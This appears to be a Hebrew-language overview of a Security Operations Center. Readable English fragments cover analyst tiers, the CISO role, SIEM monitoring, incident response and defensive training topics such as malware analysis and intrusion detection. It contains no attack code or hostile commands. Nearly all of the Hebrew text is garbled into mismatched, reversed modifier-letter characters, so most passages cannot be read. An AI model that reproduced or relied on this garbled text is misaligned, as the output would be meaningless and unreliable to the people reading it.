 ˸˟ˣˠ˸ ˸˧˧˥ˮˢ˟ ˰˧˧˯˪ˣ ˭ˣˠ˶˞ˢ ˧˯˩ˮ ˪˰ ˧ˮˣ˥˦˧˟ˢ ˰ˣ˶˧˞ˢ ˪˷ ˸˧˶˷˲˞ˢ ˢ˰˲˷ˢˢ ˸˞ ˭˧˟ˢ˪ ˫˧˯ˮˬ

ˢ˩˧˷ˬ˟ ˫˧˧ˮˣ˷˞˶ ˫˧˧ˠˣ˪ ˸˞˴ˣˢˣ ˸˧ˮˣ˷˞˶ ˢ˶˧˵˥ ˸ˣ˪ˣ˰˲ ˡ˴˪ ˰ˣ˶˧˞ˢ  ˪˰ ˱˯ˣˮ .ˢˡˬ˰˪ ˸˧ˤ˧˲ ˢ˰ˠˢ˟ ˣ˞

˸˞ ˭˩ˡ˰˪ ˠ˧˶˥ ˰ˣ˶˧˞ ˸˰˟ ˫ˡ˧˵˲˸ ,˸˞ˤ s-CISO ˪ˢˮˬ ˸˞ˣ s-SOC. 
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:˫˧˧˦ˮˣˣ˪˶ ˫˧˶ˣ˷˧˩ˣ ˸ˣ˶˷˩ˢAdvanced network forensics, Hacker Tools, host-based forensics, 

incident response procedures, Handling Exploits and Incident ,,log reviews basic malware 

assessment, threat intelligence 

 ˦˯˧˪ˮ˞Tier 3 -  ˢˬ˶˟3ˬ ˢ˧˴˪˵˯˞ ˫˶ˣˠˣ ˫˧˯ˣˮˬ ˫˧˶˵ˣ˥ ˫ˢ ˫˧˦˯˧˪ˮ˞ˢ ,-.Tier 2  ˶˟˰ˬ ˫ˡ˧˵˲˸

 ˰˧ˠˢ˪ ˣ˷ˣ˶˧˲ "ˡ˧˴" .˸ˣ˞˶˸ˢ ˸ˣ˪˟˵˸ˬ˷ ˧ˮ˲˪ "˸˷˶˟ ˡ˧˴" ˰˴˟˪ ˞ˣˢ ˣ˴ˣˬ ˫˶˦˷ ˫˧˰ˣ˶˧˞˟ ˪ˣ˲˧˦˪

 ˫˧ˮˬˬ˯ ˣ˟ ˷˲˥˪ˣ ˸˷˶˟ ˫ˣˬ˰ ˵˪˥˪ ˢ˶˸˧ .ˢ˪˰ˬ ˫˧˸ˣˣ˴ˢ ˫˰ ˶˧˷˧ ˭˲ˣ˞˟ ˡ˟ˣ˰ ˭˟ˣˬ˩ ˢˤ ˸ˣˣ˴ .˫˧ˠ˧˶˥

 ˢ˶˧˵˥ ˧˪˩ ˫˰ ˢ˶˧˵˥˟ ,˫˧˧˦˲˷ˬ ˫˧˩˧˪ˢ˸˟ ,˫˧ˬˣ˧˞˟ ,ˢ˴˵ ˸ˡˣ˵ˮ˟ ,˸˷˶˟ ˵˧ˬ˰ˬ ˰ˡ˧˪ ˷˶ˡˮ ˸˞ˤˬ

˫˪ˣ˰˟ ˸ˣ˞˧˵˟ ˭˩ˣ ,˫˧˧ˡˣ˰˧˧ s-IT ˡ˧˶ˣˬˣ ˸ˬ˞ ˭ˬˤ˟ ˸ˣ˟˩˶ˣˬ ˸ˣ˶˧˵˥ ˰˴˟ˬ ˞ˣˢ ,˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ ,

˧ˬ˧ˮ˲ˣ ˸ˣ˧˟˥ˣ˶ ˸ˣ˧˥ˮˢ˨ˣ˸˟ ˸ˣ s-SOC ˪ˢˮˬ ˫ˣ˞˧˸˟ s-SOC. 

:˫˧˧˦ˮˣˣ˪˶ ˫˧˶ˣ˷˧˩ˣ ˸ˣ˶˷˩ˢ Advanced training on anomaly detection, Malware Analysis Tools 

and Techniques, Reverse-Engineering Malware, Tools, Techniques, Exploits and Incident 

Handling, Intrusion Detection In-Depth, tool-specific training for data aggregation and analysis 

and threat intelligence 

˧˸ˣˣ˴ s-IT  ,˸ˣ˧˸˷˸ ,˪ˣ˰˲˸ :˧˷ˮ˞˟ ˶˟ˣˡˬ ˫˧˶˵ˬˢ ˟ˣ˶˟ ,˭ˣˠ˶˞ˢ ˧˯˩ˮ ˪˷ ˪˰ˢ ˸ˣ˞˷˶ˢ˟ ˫˧˵˧ˤ˥ˬ

 .˥ˣ˸˧˲ ˧˷ˮ˞ ˱˞ ˫˧ˬ˧˧ˣ˯ˬ ˫˧˶˵ˬ˟ˣ ˢ˶˵˟ 

˪ ˶ˣˤ˰˪ ˧ˡ˩ ˫˧˩˶ˡˢ ˸˥˞-Tiers ,˧˸˶˧˴˧ˣ ˶˸ˣ˧ ˪˧˰˧ ˸ˣ˧ˢ˪ ˞˧ˢ ˫ˢ˪˷ ˸ˣ˪˸ˢ ˸˞ ˫˧˸˧˥˲ˬ˷ ˨˩˟ ˟-IT 

 ˭˲ˣ˞˟ ˶ˣ˵˥˪ ˫ˢ˪ ˰˧˧˯˪ ˫˧˪ˣ˩˧˷ ˫˧˪˩˟ ˫˧ˡ˧ˣ˴ˬ ˸ˣ˧ˢ˪ ˫˧˩˧˶˴ ˫˧˦˯˧˪ˮ˞ .˰ˣ˶˧˞ˢ ˸˶˧˵˥ ˨˪ˢˬ˟

˧˷ˮ˞ ˸˞ ˟˶˰˪ ˧˪˟ˬ ,(ˢ˴˵ ˸ˣˡˣ˵ˮ ,˫˧˸˶˷ ,˫˧ˡ˧˧ˮ) ˭ˣˠ˶˞˟ ˟˞˷ˬ ˪˩˟ ˸ˣ˧˶˵˸ ˧ˮˡ˧ ˣ˞ ˧˦ˬˣ˦ˣ˞ s-IT ,

 ˫˧˩˧˪ˢ ,˫ˬ˰ ˫ˣ˞˧˸˟ ˨ˣ˶˩ ˸ˣ˟ˣ˶˵ ˫˧˸˧˰˪ ˶˷˞.˰˧˶˲ˢ˪ ˫˧˪ˣ˪˰˷ ˫˧˶˸ˣ˧ˬ ˫˧˟ˣ˩˧˰ˣ 

 ˢ˴˵ˢ ˸ˣˡˣ˵ˮ ˪˩˪ ˢ˷˧ˠˣ ˢ˞˪ˬ ˢ˧˧˞˶ ˫˧˵˲˯ˬˢ ˢ˶˧˵˥ ˧˪˩˪ ˫˧˵ˣ˵ˤ ˫˧˦˯˧˪ˮ˞ ,˧ˮˣˠ˶˞ˢ ˞˷ˣˮˢ ˡ˟˪ˬ

.˳˶˷ ˨˧˪ˢ˸ ˫ˣ˷˟ ˰ˠˣ˲ ˣˮ˧˞˷ ˭˲ˣ˞˟ ˫˸ˣ˞ ˶ˣ˵˥˪ ˸˪ˣ˩˧ˢ ˫˰ ˡ˥˧ ,˫˧˸˶˷ˢˣ 

˪ˢˮˬ s-SOC :˪ˢˮˬ s-SOC ˶ˣˡˢ ˟˩˶ˣˬ ˡ˧˵˲˸ ,ˢ˶˧ˤˢ ˪˷ ˪˪ˣ˩ˢ ˪ˣˢ˧ˮ˪ ˧˞˶˥˞ ,˫˧˴˥˪˟ ˢˡ˧ˬ˰ ˷

˳˥˪ ˧˞ˮ˸˟ ˸ˣ˦˪˥ˢ ˸˪˟˵ ,˰ˠˬ˪ ˢ˶˧˸˥ ˸ˣ˪ˣ˩˧ ˰ˣ˶˧˞ ˸˰˟ˣˬˤ˟ ˸ˣ˧˥ˮˢ ˸ˡ˶ˣˢ ,˰ˣ˶˧˞ ˭ ˸˧˟˥ˣ˶ ˢ˧˧˞˶ ,

 ˢ˶˧ˤˢ ˸ˣˬ˧˷ˬ˪ ˱ˣˡ˰˸ ˭˸ˣˮ˷ ˫˶ˣˠˢ ˞ˣˢ .˶ˣ˦˧ˮˢ ˤ˩˶ˬ ˪˷ ˸ˣ˧˸ˮ˷ˢ ˢˡˣ˟˰ˢ ˸˧ˮ˩˸ ˶ˣ˷˧˞ˣ ˢ˧˧ˮ˟ ˭˩ˣ

 ˭ˣˠ˶˞ˢ ˪˰ ˰˧˲˷ˢ˪ ˪ˣ˪˰ˢ ˰ˣ˶˧˞ ˶ˣˠ˯˪ ˭˸˧ˮ ˫˞ˢ ˦˧˪˥ˬ˷ ˢˤ ˞ˣˢˣ ˪˟ˣ˵ˬ .˧ˣ˴˧ˬ˪ ˰˧ˠˢ ˫˶˦ ˞ˬ˷ ˣ˞

˪ˢˮˬ˷ s-SOC ˪ ˸˧ˮˣˠ˶˞ ˱ˣ˲˩ ˢ˧ˢ˧- CISO ˪ˢˮˬ .SOC  ˪ˣ˲˧˦ˢ ˨˧˪ˢ˸˪ ˢˡˣ˟˰ ˨˧˪ˢ˸ ˪ˡˣˬ ˥˸˲˪ ˨˧˶˴

˸˧ˠˣ˪ˣˡˣ˸ˬ ˸ˣ˥ˮˢ˪ ˣˡ˧˵˲˸ˬ ˵˪˥˷ ˭˧˧˴˪ ˶˸ˣ˧ˬ ,˫˧˰ˣ˶˧˞˟- ˸˞ ˸˧˸˯˧˲˸.˶ˣ˦˧ˮˢ ˤ˩˶ˬ 
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 ˧ˮˣˠ˶˞ ˫˧˷˶˸Security Operations Center: 

 

˪ˡˣˬ ˸ˣ˷˷ˣ˞˸ˢ ˸˰˟ ˰ˣ˶˧˞ 

 ˫˧˰ˣ˶˧˞ .˰ˡ˧ˬˢ ˧˟˞˷ˬ ˸˥˦˟˞ ˪˰ ˫˧˧˞ˬˢ ˧˪˧˪˷ ˰ˣ˶˧˞˩ ˸˶ˡˠˣˬ ˦ˮ˶˦ˮ˧˞ˢ ˫˪ˣ˰˟ ˢ˥˦˟˞ ˸˧˶˵˸

ˣ˞ ˸˷˶ˢ ˸ˣˮ˧ˬˤ ,˰ˡ˧ˬˢ ˸ˣˮ˧ˬ˞ ,˸ˣ˧ˡˣ˯˟ ˢ˰˧ˠ˲ ,˸ˣ˶˧˷ ˸˰˧ˮˬ ,˪ˣ˪˩˪ ˫˧˧ˣ˷˰ ˫˧˧˪˧˪˷\ ˵˪˥˪ ˵ˤˮ ˣ

˦ ˫˧˯ˣ˯ ,˫˧˯ˣ˶˧ˣ ,˪˷ˬ˪) ˧ˮˣˡˤ ˡˣ˵ ˸˯ˮ˩ˢ ˸ˣ˪˪ˣ˩ ˸ˣ˞ˬˠˣˡ .˸ˣ˩˶˰ˬˢ ˪˷ ˣˢ˷˪˩ ˸ˣ˸˪ˡ ˣ˞ ˫˧˧ˮ˞˧ˣ˶

 ˸ˣ˰˲˷ˢ .˸ˣ˧ˮˣˠ˶˞ ˫˧ˮ˲ ˸ˣ˲˵˸ˢˣ ˸ˣ˷ˡ˥ˣ ˸ˣ˥˪˴ˣˬ ˸ˣ˶˧ˡ˥ ,˸ˣ˷˶ˣˬ ˧˸˪˟ ˸ˣ˵˧ˡ˟ ˣ˞ ˸ˣ˵˧˶˯ ,(˸ˣ˧˶ˣ˥˞

 ˸˞ ˟˪˷˪ ˟ˣ˷˥ ,˭˩˪ˣ ˫˧˧˵˯˰ˣ ˫˧˧˯ˮˮ˧˲ ˫˧˩˧˪ˢ˸˟ ,˭ˣˠ˶˞˟ ˢ˷˵ ˢ˰˧ˠ˲˪ ˞˧˟ˢ˪ ˫˧˪ˣ˪˰ ˢ˪˞ ˫˧˰ˣ˶˧˞ ˪˷

 .˪˪ˣ˩ˢ ˧ˮˣˠ˶˞ˢ ˨˧˪ˢ˸ˢˬ ˵˪˥˩ ˶˟˧˧˯ˢ ˧ˮˣ˩˧˯ ˸˩˶˰ˢ ˨˧˪ˢ˸ ˭ˣ˩˧˯ˢ ˧ˬ˶ˣˠ ˧˩ ˞ˡˣˣ˪ ˷˧ ,˶˸˧ˢ ˭˧˟

 ˫ˠ ˫˧˯˥˧˧˸ˬ ˭ˣ˩˧˯ˢ ˸ˣ˷ˬˬ˸ˢ˪ ˸ˣ˶˧˟˯ˢ ˸˩˶˰ˢ˟ ˫˧˰˧˧˯ˬˣ ˧ˮˣˠ˶˞ˢ ˫˧ˮˣ˩˧˯ˢ ˸˩˶˰ˢ ˪ˡˣˬ˟ ˫˧˪ˣ˪˩ˢ

.˶˟˧˧˯ ˧ˬˣ˧˞˪ 
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 ˢˮˣˬ ˧˪˷ ˪ˡˣˬˢ6 ˶˟˧˧˯ ˰ˣ˶˧˞ ˸ˣ˴˶˲˸ˢ ˰ˠ˶ˬ ˫˧˟˪˷ 

 

˸ˣˮ˩ˣˬ - ˢ ˸ˣˮ˩ˣˬ-SOC ˪˥ˢ ,˞ˣˢ ˶˷˞˟ ˷˧˥˶˸ ˪˩˪  ˪˷ ˫ˣ˷˧˧ˣ ˷ˣ˟˧ˠˬ ˣ˥˧˦˟˧˷ ˫˧˸ˣ˞ˮ ˢ˥˦˟˞ ˧˰˴ˬ˞

˫˧˷˧ˬ˷ˢ ˫˧˵ˣ˥˪ ˫˞˸ˢ˟ ˢ˟ˣˠ˸ ˧˪ˢˮ ,˫˧˧˵˯˰ ˫˧˸ˣ˶˧˷ ˪˷ ˢ˲˧˴˶ˢ ˫˸ˣ˪˧˰˲ ˸˞ ˟-SIEM ˸ˣ˩˶˰ˬ ,

 ˶˷˩ˣˬ ˫ˡ˞ ˥˩˟ ˢ˪˩ˣ ˸ˣˮ˩ˡˣ˰ˬ ˢ˥˦˟˞ ˸ˣ˩˶˰ˬˣ ˸˧ˠˣ˪ˣˮ˩˦ ˢ˟˧˟˯˪ ˡ˰ ,˫˧˧˦˧˶˵ ˸˧˸˷˸ˣ ˟˷˥ˬ

ˣˡˣ˸ˬ ˸˰˧˟˵ .˷ˬˬ˸ˢ˪ ˪ˣ˪˰ ˶˷˞ ˰ˣ˶˧˞ ˪˩ ˪˩˯˪ˣ ˟˧ˠˢ˪ ,˪ˣ˰˲˪ ˰ˡˣ˧ˢ˶ˣˡ˯ ˰ˣ˶˧˞ ˪ˣˢ˧ˮˣ ˢ˧ˠˣ˪  ˨ˣ˸ˬ

.˸˧˸˧ˬˡ˸ˣ ˸˧˵˯˰ ˢ˰˧ˠ˲˪ ˣ˪ ˫ˣ˶ˠ˪ˣ ˶˴˵ ˭ˬˤ˟ ˭ˣˠ˶˞ ˸˧˟˷ˢ˪ ˸ˣ˪ˣ˪˰ ˸ˣˡ˵ˣˬˬ ˸ˣ˲˵˸ˬ˷ ˢˮ˟ˢ 

˧ˣˢ˧ˤ\˶ˣ˦˧ˮ -  ˸ˣ˪ˣ˰˲ˢ .˰ˡ˧ˬ ˧˯˩ˮˣ ˸ˣ˩˶˰ˬ˪ ˶˟˧˧˯ˢ ˧ˮˣ˩˧˯ ˸˞ ˪ˢˮ˪ ˢ˶˦ˬ˟ ˸˧ˮˣˠ˶˞ˢ ˢˮ˟ˢˢ ˥ˣ˸˧˲

 ˯˧˯˟ˢ ˸ˬ˶˟ ˭ˢ ˢˤ ˟˪˷˟ ˸ˣ˦˵ˮˮˢ- ˷ˬˢ ,˧˵˯˰ˢ ˶˷˵ˢˢ ˸ˮ˟ˢ ˸ˣ˧˦˧˶˵ˢ ˸ˣ˧˴˵ˮˣ˲˟ ˫˧˩ˬˣ˸ˢ ˫˧˟˞

 ˸˞ ˱ˡ˰˸˪ˣ ˡ˵ˬ˪ ˭ˣˠ˶˞˪ ˸˶˷˲˞ˬ ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ ˸˦˧˵ˮ .˫˧˲ˣ˷˥ ˫ˢ ˫ˢ˧˪˞˷ ˶˟˧˧˯ˢ ˧ˮˣ˩˧˯ ˧ˣˢ˧ˤˣ

 ,˶˸˧ˢ ˭˧˟ ,˸˰ˠˣˮ ˣˤ ˢˮ˧˪˲˧˴˯˧ˡ .˫˧˧˵˯˰ˢ ˫˧˩˶˴˪ˣ ˧ˮˣˠ˶˞ˢ ˫˧ˮˣ˩˧˯ˢ ˪ˣˢ˧ˮ ˸˧˧ˠ˦˶˦˯˞˪ ˢˬ˧˪ˢ˟ ˣ˧˴ˬ˞ˬ

˧˟˯ˢ ˸ˮ˟ˢ ,˰ˡ˧ˬ ˧˯˩ˮ ˪ˣˢ˧ˮ :˫˧˞˟ˢ ˫˧˦˟˧ˢ˪.˫˧ˮˣ˩˧˯ ˪ˣˢ˧ˮˣ ˰ˡ˧ˬ ˸˥˦˟˞ ˪˷ˬˬ ,˸˧˵˯˰ ˢ˟ 

ˢˮˠˢ - ˪˷ ˫ˣ˷˧˧ˣ ˷ˣ˟˧ˠ  ˫˧˸˶˷ ,˫˧˧˵˯˰ ˫˧˸ˣ˶˧˷ ˪˷ ˢ˲˧˴˶ˢ ˫˸ˣ˪˧˰˲ ˸˞ ˣ˥˧˦˟˧˷ ,ˢˮˠˢ ˸ˣ˩˶˰ˬ

) ˫˧˦ˮˣˣ˪˶ ˫˧˵ˣ˥ :˫˧˞˟ˢ ˫˧˦˟˧ˢ˪ ,˶˸˧ˢ ˭˧˟ ,˸˰ˠˣˮ ˣˤ ˢ˧˴˵ˮˣ˲ .˭ˣˠ˶˞ˢ ˧˯˩ˮˣSIEM ˢ˶˧ˢˬ ˢ˟ˣˠ˸ ,(

 ˭ˣ˧˲˞ ,˱˵˸ˮˢ ˶ˣˤ˞ˢ ˡˣˡ˧˟ ,˰ˣ˶˧˞˪.˫˧ˬ˧˧˵ˢ ˫˧ˬˣ˧˞ˢ ˪ˣˬ ˪˞ ˢ˲ˣ˵˸˪ ˸˥˞ ˫˧˷ˡ˥ ˫˧˵ˣ˥ 

ˢ˟ˣˠ˸ -  ˪˧˩ˢ˪ ˸˶˷˲˞ˬ ˢ˟ˣˠ˸ˢ ˸˪ˣ˩˧ .˶˟˧˧˯ ˰ˣ˶˧˞ ˧ˣˢ˧ˤ ˸˰˟ ˦ˣ˵ˮ˪ ˷˧˷ ˸ˣ˪ˣ˰˲ˢ ˪˷ ˫ˣ˷˧˧ˣ ˥ˣ˸˧˲

 :˫˧˞˟ˢ ˫˧˦˟˧ˢ˪ ,˶˸˧ˢ ˭˧˟ ,˸˰ˠˣˮ ˣˤ ˢˮ˧˪˲˧˴˯˧ˡ .ˣ˸ˣ˷˥˶˸ˢ ˶˥˞˪ ˶˟˧˧˯ˢ ˰ˣ˶˧˞ ˪˷ ˢ˰˲˷ˢˢ ˸˞
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 ˢ˶˧˵˥ ,˶˟˧˧˯ ˰ˣ˶˧˞˪ ˢˮ˰ˬ ˭ˣˮ˩˸ ˶ˣ˲˧˷ ,˫˧˧˶˥˯ˬ ˢ˶˧˵˥ ˧˪˩ ,˫˧ˮˣ˷ ˫˧ˬ˶ˣˠ ˪ˣˬ ˶ˣ˷˵˸ ,˸˧ˤˮ˶ˣ˲

.'˦ˣ˞ ˢ˶˧˵˥ ˸ˣ˧˴˲ˣ˞ ˸˶˧˴˧ ˧''˰ ˡ˧ˬ˸ˬ 

ˢ˪˩ˢˣ ˸ˣ˷˷ˣ˞˸ˢ -  ˸ˣ˧˩˷ˬˢ ˨ˣ˸ ˫ˣ˵˧˷ˢˣ ˸ˣ˷˷ˣ˞˸ˢˢ ˸ˣ˧ˮ˩˸ ˸˞ ˵ˤ˥˸˪ ˣˡ˰ˣˮ˷ ˸ˣ˪ˣ˰˲ ˶ˡ˯ ˷ˣ˟˧ˠ

 ˪˧ˠ˶ ˪ˣ˰˲˸˪ ˢ˶˧ˢˬ ˢ˶ˤ˥ ˸˶˷˲˞ˬ ˸ˣ˷˷ˣ˞˸ˢˢ .˶˟˧˧˯ ˰ˣ˶˧˞ˬ ˢ˞˴ˣ˸˩ ,ˢ˪˩ˢˣ ˸˧˵˯˰ ˫ˣ˴ˬ˴ ˨ˣ˸

 ,˸ˣ˷˷ˣ˞˸ˢ ˭ˣˮ˩˸ :˫˧˞˟ˢ ˫˧˦˟˧ˢ˪ ,˶˸˧ˢ ˭˧˟ ,˸˰ˠˣˮ ˣˤ ˢˮ˧˪˲˧˴˯˧ˡ .˶˟˧˧˯ ˰ˣ˶˧˞ˬ ˸ˣ˧˪˧˪˷ˢ ˸ˣ˩˪˷ˢˢ

.˶ˣ˷˵˸ˣ ˫˧˶ˣ˲˧˷ 

 ˢˡ˧ˬ˪ˣ ˪ˣˠ˶˸-  ˰ˣ˶˧˞˪ ˰˧ˠˢ˪ ˢ˶˦ˬ˟ ˢ˧ˢ˷ ˰ˣ˶˧˞ˢ ˸ˣˡˣ˞ ˫˧˥˵˪ ˣ˵˲ˣ˧ ,ˣ˧˶˥˞˪ ˣ˞ ,˸ˣ˷˷ˣ˞˸ˢˢ ˭ˬˤ˟

ˢ˞˧˴˧ :˸˪˪ˣ˩ ˸˞ˤ ˢ˧˴˵ˮˣ˲ .˸˧˟˶˧ˬ ˸ˣˮ˩ˣˬ ˫˰ ˞˟ˢ  ,˸˷˶˟ ˢ˲˶ˣ˦ ˸ˣˡˣ˵ˮ ˫ˣ˴ˬ˴ ,ˢˡˣ˟˰ ˸˧ˮ˩˸˪

.˫˧˵ˣ˥ ˟ˣ˧˦ˣ ˸ˣ˷ˡ˥ ˸ˣ˩˶˰ˬ ˸˦˧˪˵ 

 

 

˸ˣ˧˴˵ˮ˯ ˟-SOC ˪ˣ˲˧˦ˣ ˡ˵ˣˬˬ 

˫˷˧˧˪ ˷˶ˡˮ ˭ˣˠ˶˞ ˪˩˷ ˢ˟˧˯ˢˬ ˧˦˟ˬ ˸ˡˣ˵ˮˬ ˫˧˶˟ˡ ˢˬ˩ ˶˧ˢ˟˞ ˨˞ ,ˢˤ ˞˷ˣˮ˪ ˶˸ˣ˧ ˯ˮ˩˞ ˞˪. 

˞˟ˢ ˰ˣ˶˧˞ˢ ˸˞ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ˣ ,˰ˣ˶˧˞ ˸˰˟ s-SOC ˟˧˧˥ ˸ˣ˧˴˵ˮ˯ ˸˪˰˲ˢ ˣˬ˴˰˪ ˪ˠ˯˪ ˢ˰˸˶ˢ ˸ˣ˦˧˷ˣ 

 ˭˸˧ˮ˷ ˸ˣˮˣ˷ ˫˧˩˶ˡˣ ,˫˧ˮˣˣˠˬ ˫˧˪˩ ˷˧ .˱˵ˣ˸ˢ ˫˶ˣˠˢ ˪˰ ˭˧˲ˣ˪˧˥˪ ˣ˞ (˧ˮˣˠ˶˞ ˫˧ˮ˲) ˢ˶˧˟˰ˢ ˧˰˴˟ˬ ˪˰

ˢˡˬ˰ˢ ˵ˣ˸˧ˮ :˭ˢ ˣ˪˞ˣ ˸ˬ˞ ˭ˬˤ˟ ˰ˣ˶˧˞ ˡˣˡ˧˟ ˨ˣ˸ ˭ˣˠ˶˞ ˪˰ ˪˧˦ˢ˪ ˟-FW˸˶ˤ˰˟ ˦˶ˣ˲ˢ ˸ˬ˧˯˥ ,- NAC ,

˟ ˡˣˡ˧˟˪ ˢ˶˧˟˰ˢ ˪˰˟ ˸˯ˮ˩ˢ-AD˷ˢ , ˪''˩ˮˬ ˦˧˪˥˧˷ ˶˥˞ ˶˟ˡ ˪˩ ˣ˞ ˫˧ˬ˧˧ˣ˯ˬ ˫˧˩˧˪ˢ˸ ˪˷ ˢ˸˟

ˣ˞ ˭ˣˠ˶˞ˢ\ ˶˟ˣˡˬ ˫˞ˢ ˶ˢ˟ˣˢ ˫˶˦ˣ ˰ˣ˶˧˞˪ ˷˷˥ ˷˧ ˫ˢ˟ ˫˧˶˵ˬ ˦˰ˬ ˞˪ ˷˧ .˰ˡ˧ˬˢ ˸˥˦˟˞ ˧˪ˢˮˬ ˣ

 ˭˧˞ ˵˲˯ ˷˧ ˫˞ .˫˧˦˶˲ˢ ˪˪˩ ˶ˣ˶˧˟˪ ˡ˰ ˸ˬ˞ ˰ˣ˶˧˞˟ ˣˬ˩ ˠˣˢˮ˪ ˷˧ ˢ˪˞ ˫˧˶˵ˬ˟ ,˭˩˪ˣ ,˞˪ ˣ˞ ˰ˣ˶˧˞˟

˷˧˶˷ˬ ,ˢ˪˞ ˫˧ˡ˰˴ ˸˦˧˵ˮ !˵˲˯ ˭˧˲ˣ˪˧˥˪ ˣ˞ ,ˡ˟ˣ˰ ˣ˸ˣ˞˷ ˢˮ˟ˢ ˨ˣ˸ˬ ˧ˬ˰˦˪ ˢ˟ˣ˦ ˸˧ˮˣ˥˦˧˟ ˸ˣ˟˶˸ ˫˧

.˰˴˟˪ ˢ˴ˣ˶ ˞ˣˢ˷ ˢ˪ˣ˰˲ ˪˩ ˧ˮ˲˪ ˫˧˧ˬ˰˲ ˟ˣ˷˥˧ ˢ˶˧˟˰ˢ ˰˴˟ˬ 
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:ˢ˶ˬˣ˥ ˧ˠ˶ˡˬ 

˟ˣ˪˧˷ ˷˶ˡˮ ˢ˥˦˟˞ˢ ˨˧˪ˢ˸ ˸˞ ˶˲˷˪ ˧ˡ˩˟ ˟-SOC .˸ˣˮˣ˷ ˸ˣˮ˧˪˲˧˴˯˧ˡ ˪˷ 

 ˫˧˧ˮˣ˷˞˶ ˫˧ˡ˰˴ .˫˧˰ˣ˶˧˞˟ ˪ˣ˲˧˦˟ ˫˧˶ˣ˶˟ ˸ˣ˧ˣ˲˧ˡ˰ ˧˶ˡ˯ ˸ˣˢˤ˪ ˧ˡ˩ ˫˧ˮˣ˩˧˯ ˸ˣ˩˶˰ˢ ˰˴˟˪ ˟˧˧˥ ,˸˧˷˞˶

 ˫˧˧˵˯˰ ˫˧˩˧˪ˢ˸ ˧ˣˢ˧ˤ ˧ˡ˧ ˪˰ ˫˧˧˦˧˶˵ ˫˧˯˩ˮ ˪ˣˢ˧ˮ ;˫ˢ ˫˧˴˪ˬˣˬˢ˫˧˧˦˧˶˵ ˭ˣˠ˶˞˪  ˸˞ ˨˩ ˨ˣ˸ˬˣ

 .˸ˣ˶ˣ˷˵ˢ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢ 

˞ˣ ˸ˣ˶˧˟˯ ,˸ˣ˧ˣ˰˧ˠ˲ ˸ˣˢˤ˪ ˞ˣˢ ,˧ˮ˷ˢ ˶˟ˡˢ ˸ˣ˧˟˵˰ ˞ˡˣˣ˪ .˧ˬ˧˰ ˭˲ˣ˞˟ ˧˦˧˶˵ˢ ˧˵˯˰ˢ ˨˧˪ˢ˸ˢ ˪˰ ˫˧ˬˣ˧

˸˥˦˟˞ ,˫˧˧˦ˮˣˣ˪˶ˢ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˧˞˷ˣˮ ˪˩ ˧ˣˢ˧ˤ˟ s-IT  .˫˧˧˵˯˰ ˫˧˩˧˪ˢ˸ ˪˷ ˫˧ˬˣ˶ˣ˲˟ ˸ˣ˲˸˸˷ˢ

 ,˭ˣˠ˶˞ˢ ˪˰ ˫˸˰˲˷ˢ ˸ˣ˶˟˸˯ˢ ˪˰ ˯˯˟˸ˢ˟ ˫˧ˮˣ˩˧˯ˢ ˧ˣˢ˧ˤ ˶˥˞˪ .˫˧ˮˣ˩˧˯ ˸˩˶˰ˢ ˰˴˟˪ ˷˶ˡˮ ˱ˣ˯˟ˣ

˲˪ ˠ˶ˣˡˬ ˸ˣ˧ˢ˪ ˟˧˧˥ ˭ˣ˩˧˯ ˪˩.ˢ˶ˬˣ˥ ˠ˶ˡˬ ˧ 

 

 

 

 

 

 

 

 

ˢˣ˟ˠ -  ,˫ˢ˧˦˶˲ ˪˰ˣ ˸ˣ˥ˣ˵˪ ˪˰ ˰ˡ˧ˬ ˧˯ˮˮ˧˲ ˰ˡ˧ˬ ,˶˥˯ˬ ˸ˣˡˣ˯ ,˦ˮ˦˲ ˪˷ˬ˪ ˭ˣˠ˶˞˪ ˧˦˧˶˵ ˰ˡ˧ˬˢ

ˢˣ˟ˠ" ˩ ˠˣˣ˯ˬˢ ˯˩ˮ˟ ˢ˰˧ˠ˲˪ ˯˥˧˧˸ˬ ˶˟˧˧˯ ˸˰˧˷˲ ˥ˮˣˬˢ ˩"˶ˡ˟ .˭ˣˠ˶˞ˢ ˧˯˩ˮ˟ ˢ˰˧ˠ˲" 

˧ˮˣˮ˧˟ -  ,˫˧˪˦˶ˣ˲ ,˫˧˪ˢˮ˪ ˸ˣ˧ˬ˧ˮ˲ ˸ˣ˩˶˰ˬ ˪˷ˬ˪ .˧˦˧˶˵ ˭˲ˣ˞˟ ˞˪ ˨˞ ˭ˣˠ˶˞˪ ˟ˣ˷˥ ˸ˣ˶˧˷ ˣ˞ ˯˩ˮ

(˸ˣˠˣˣ˯ˬ ˞˪) ˡ˟ˣ˰ ˪˷ ˸ˣ˧˵˧˸ 

˨ˣˬˮ - ˶ˣ˟˧˴˪ ˫ˠ ˷˧ˠˮˢ ˰ˡ˧ˬ 

  

ˢˣ˟ˠ 

˧ˮˣˮ˧˟ 

˨ˣˬˮ 
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:˰ˣ˶˧˞˟ ˪ˣ˲˧˦˪ ˢ˧˴˪˵˯˞ ˨˧˪ˢ˸ 
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˫ˣ˩˧˯ 

 ˸˧˧ˮ˟ ˧˩ ˢ˪ˣ˰ ˶ˬ˞ˬˢˬSOC ˧˸ˣ˩˧˞ ˫ˡ˞ ˥˩ˬ ˪˥ˢ ,˫˧ˮˣˣˠˬˣ ˫˧ˮˣ˷ ˫˧˟˧˩˶ˬ ˸˷˶ˣˡ,  ˸ˣ˩˶˰ˬ˪ ˡ˰

 ,˫˧˟˶ˢ ˸ˣˮˣ˶˸˧ˢ ˡ˴˪ .ˢˮ˧˵˸ ˢˡˣ˟˰ ˸ˡˣ˸ˬˣ ˶˟˧˧˯ ˧˰ˣ˶˧˞˟ ˪ˣ˲˧˦˪ ˫˧˶ˣˡ˯ ˫˧˪ˢˮ˟ ˢ˪˩ˣ ˰ˡ˧ˬ ˸˥˦˟˞

 ˶ˤˣ˥ .˭ˣˠ˶˞ˢ ˧˩˶˴ ˭ˣ˧˲˞ ˨ˣ˸ ˢ˟˶ ˢ˟˷˥ˬ ˸˷˶ˣˡ ˶ˣ˦˧ˮ ˧ˤ˩˶ˬ ˸ˬ˵ˢ .˫˧ˮˣ˷ ˫˧˶ˠ˸˞ ˦˰ˬ ˞˪ ˣ˟ ˷˧

